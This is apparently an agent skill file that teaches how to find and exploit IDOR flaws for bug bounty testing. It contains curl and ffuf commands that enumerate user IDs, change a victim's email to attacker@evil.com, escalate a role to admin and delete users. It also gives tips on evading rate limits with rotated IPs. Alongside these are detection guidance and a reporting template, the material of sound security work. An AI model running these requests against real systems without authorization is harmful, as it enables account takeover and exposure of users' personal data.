# Idor Vulnerability Hunting

> Detect and exploit Insecure Direct Object Reference (IDOR) vulnerabilities in web applications and APIs. Use this skill when testing for unauthorized access to resources by manipulating object identifiers like user IDs, order numbers, file references, or API endpoints. Covers parameter tampering, UUID prediction, hash manipulation, and chained IDOR attacks for maximum impact in bug bounty programs.

- Skill: `shulkwisec/idor-vulnerability-hunting` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add shulkwisec/idor-vulnerability-hunting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/idor-vulnerability-hunting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/shulkwisec/idor-vulnerability-hunting

---


# IDOR Vulnerability Hunting

## When to Use
- When testing web applications for unauthorized data access via object reference manipulation
- During bug bounty hunting when you see numeric/sequential IDs in URLs, API calls, or form parameters
- When API endpoints use predictable identifiers (user_id, order_id, doc_id)
- When testing multi-tenant applications for cross-tenant data leakage
- When you find UUID/GUID references that may be predictable or enumerable

**When NOT to use**: If the application uses cryptographically random tokens AND validates server-side ownership — then move to session management or authentication bypass skills instead.

## Prerequisites
- Burp Suite Pro or Community Edition installed with browser proxy configured
- Two test accounts with different privilege levels (attacker + victim)
- `curl`, `httpie`, or Postman for API testing
- `ffuf` or `wfuzz` for parameter fuzzing
- Autorize Burp extension for automated authorization testing
- Authorization to test the target (bug bounty scope or pentest engagement)

## Workflow

### Phase 1: Identify Object References

Map every parameter that references objects. These are your attack surface.

```bash
# Crawl the target and extract parameters from Burp proxy history
# Look for these patterns in URLs, POST bodies, and headers:

# Numeric sequential IDs (highest priority)
/api/users/1234
/api/orders/5678
/profile?user_id=42
/download?file_id=100

# UUIDs/GUIDs (still testable)
/api/documents/550e8400-e29b-41d4-a716-446655440000

# Encoded references
/api/data?ref=dXNlcl9pZD0xMjM0  # Base64: user_id=1234

# Hashed references
/api/file/5d41402abc4b2a76b9719d911017c592  # MD5 hash

# Composite references
/api/org/15/user/42/report/7
```

#### Decision Point 🔀 — What type of reference did you find?

```
Sequential numeric ID → High chance of IDOR, go to Phase 2 immediately
UUID/GUID → Check if version 1 (time-based, predictable) vs v4 (random)
Base64 encoded → Decode it, modify the decoded value, re-encode
Hashed value → Try common hash patterns (MD5/SHA1 of sequential numbers)
No visible reference → Check JSON response bodies for hidden IDs
```

### Phase 2: Horizontal IDOR Testing (Same Privilege Level)

Test if User A can access User B's resources by swapping identifiers.

```bash
# Step 1: Log in as User A (attacker), capture a request with an object reference
# Example: GET /api/v1/users/1337/profile with User A's session

curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1337/profile

# Step 2: Change the object ID to User B's (victim) ID
curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1338/profile

# Expected vulnerable response:
# HTTP 200 with User B's data returned using User A's token

# Step 3: Automate with ffuf to find all accessible IDs
ffuf -u https://target.com/api/v1/users/FUZZ/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -w <(seq 1 10000) \
  -mc 200 \
  -o idor_results.json

# Step 4: Test write operations (MORE CRITICAL)
# Change victim's email/password using attacker's session
curl -X PUT https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@evil.com"}'
```

### Phase 3: Vertical IDOR Testing (Privilege Escalation)

Test if a low-privilege user can access admin-only resources.

```bash
# Using a regular user's token, access admin endpoints
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users
  
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/config
  
# Test admin actions with regular user token
curl -X DELETE -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users/1338

# Test role manipulation
curl -X PUT https://target.com/api/v1/users/1337/role \
  -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  -d '{"role": "admin"}'
```

### Phase 4: Advanced IDOR Techniques

```bash
# Technique 1: Parameter pollution — send multiple values
curl "https://target.com/api/profile?user_id=1337&user_id=1338"

# Technique 2: HTTP method switching
# If GET is blocked, try POST/PUT/PATCH/DELETE
curl -X POST https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer $ATTACKER_TOKEN"

# Technique 3: API version switching
curl https://target.com/api/v2/users/1338/profile  # Try v2, v3
curl https://target.com/api/users/1338/profile      # Try without version

# Technique 4: Wrapping ID in array
curl -X POST https://target.com/api/v1/users/ \
  -H "Content-Type: application/json" \
  -d '{"id": [1338]}'

# Technique 5: JSON parameter injection
curl -X POST https://target.com/api/v1/profile/update \
  -H "Content-Type: application/json" \
  -d '{"name":"test", "user_id": 1338}'

# Technique 6: Wildcard / glob patterns
curl https://target.com/api/v1/users/*/profile
curl https://target.com/api/v1/users/../1338/profile

# Technique 7: Numeric ID as string
curl https://target.com/api/v1/users/"1338"/profile

# Technique 8: XML body instead of JSON
curl -X POST https://target.com/api/v1/profile \
  -H "Content-Type: application/xml" \
  -d '<user><id>1338</id></user>'
```

### Phase 5: Automated Testing with Autorize

```
1. Install Autorize extension in Burp Suite
2. Configure with two sessions:
   - High privilege session (admin/victim token)
   - Low privilege session (attacker token)
3. Browse the application as the high-privilege user
4. Autorize automatically replays each request with the low-privilege token
5. Color-coded results:
   - RED    = Bypassed (IDOR confirmed)
   - ORANGE = Potentially bypassed (different response)
   - GREEN  = Enforced (access denied)
```

### Phase 6: Evidence Collection & Reporting

```bash
# Screenshot the request/response showing unauthorized access
# Save as evidence for bug bounty report

# Calculate impact by testing:
# 1. Can you READ other users' data? (Confidentiality)
# 2. Can you MODIFY other users' data? (Integrity)
# 3. Can you DELETE other users' data? (Availability)
# 4. Can you access financial/PII/PHI data? (Regulatory)
# 5. How many users are affected? (Scale)
```


## 🔵 Blue Team Detection

How defenders can detect IDOR attacks:
- **WAF rules**: Alert on sequential parameter fuzzing (many requests with incrementing IDs)
- **Application logging**: Log and alert when a user accesses objects owned by other users
- **Rate limiting**: Implement per-user rate limits on sensitive endpoints
- **Sigma rule**: Detect rapid sequential API calls with different object IDs from same IP/session
- **Fix**: Always validate object ownership server-side — `WHERE user_id = authenticated_user_id AND object_id = requested_id`

## Real-World Case Studies

### CVE-2023-37580: Zimbra IDOR
- **Target**: Zimbra Collaboration Suite
- **Impact**: Unauthenticated access to other users' email data
- **Technique**: Direct object reference in mailbox endpoint without ownership validation

### HackerOne Report #1408600: Shopify IDOR
- **Target**: Shopify Partner Dashboard
- **Impact**: Access to any shop's revenue data by changing shop_id parameter
- **Bounty**: $15,000

## Key Concepts
| Concept | Description |
|---------|-------------|
| Horizontal IDOR | Accessing another user's resources at the same privilege level |
| Vertical IDOR | Accessing resources above your privilege level (user → admin) |
| BOLA | Broken Object Level Authorization — OWASP API Security #1 |
| Object reference | Any parameter that maps to a server-side object (ID, filename, key) |
| Ownership validation | Server-side check that the requesting user owns the referenced object |
| Parameter tampering | Modifying request parameters to reference unauthorized objects |

## Tools & Systems
| Tool | Purpose | Install |
|------|---------|---------|
| Burp Suite Pro | Intercept & modify requests, Autorize extension | Download from portswigger.net |
| ffuf | Fast web fuzzer for ID enumeration | `go install github.com/ffuf/ffuf/v2@latest` |
| Autorize | Automated authorization testing Burp extension | Burp BApp Store |
| curl | Manual HTTP request crafting | Pre-installed on Linux/macOS |
| Postman | API testing with saved collections | Download from postman.com |

## Common Scenarios

**Scenario 1: E-commerce Order Access**
User discovers `/api/orders/12345` reveals order details. By changing to `/api/orders/12344`, they access another customer's order including name, address, and payment details. Write IDOR → can modify shipping address.

**Scenario 2: File Download IDOR**
Cloud storage app uses `/download?file_id=abc123`. Testing sequential IDs reveals access to other users' uploaded documents including sensitive contracts and financial records.

**Scenario 3: Admin Panel Data Leak**
Regular user finds admin API endpoint `/api/admin/reports/monthly` in JavaScript source. Accessing it with regular user token returns full admin dashboard data.

**Scenario 4: Multi-Tenant SaaS Breach**
Tenant A can access Tenant B's data by swapping `org_id` parameter in API calls, leading to complete cross-tenant data exposure.

## Output Format
```
IDOR Vulnerability Report
=========================
Title: Horizontal IDOR in User Profile API
Severity: HIGH (CVSS 7.5)
Endpoint: GET /api/v1/users/{id}/profile
Parameter: id (path parameter)

Steps to Reproduce:
1. Login as User A (attacker), note session token
2. Send GET /api/v1/users/1337/profile → returns User A's data
3. Change 1337 to 1338 → returns User B's data with same token
4. All user profiles from ID 1 to 50000+ are accessible

Impact:
- Full PII exposure (name, email, phone, address) for all users
- Write IDOR also confirmed (can modify other users' profiles)
- Estimated 50,000+ affected users

Remediation:
- Implement server-side ownership validation on all endpoints
- Replace sequential IDs with UUIDs (defense in depth)
- Add Autorize-like automated testing to CI/CD pipeline
```

## Troubleshooting
| Problem | Solution |
|---------|----------|
| All IDs return 403 | Check if CSRF token is tied to the object — try without CSRF or with victim's CSRF token |
| UUIDs seem random | Check if they're UUIDv1 (time-based, predictable) — use `uuid` CLI to decode |
| Different response format but same status | Compare response body sizes — different sizes may indicate different data |
| Rate limited | Slow down requests, rotate IPs, or use different user agents |
| Objects require additional identifiers | Try compound IDORs — modify multiple parameters simultaneously |


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- OWASP: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
- OWASP API Security: [API1:2023 BOLA](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- MITRE ATT&CK: [T1530 — Data from Cloud Storage](https://attack.mitre.org/techniques/T1530/)
- PortSwigger: [Access Control Vulnerabilities](https://portswigger.net/web-security/access-control/idor)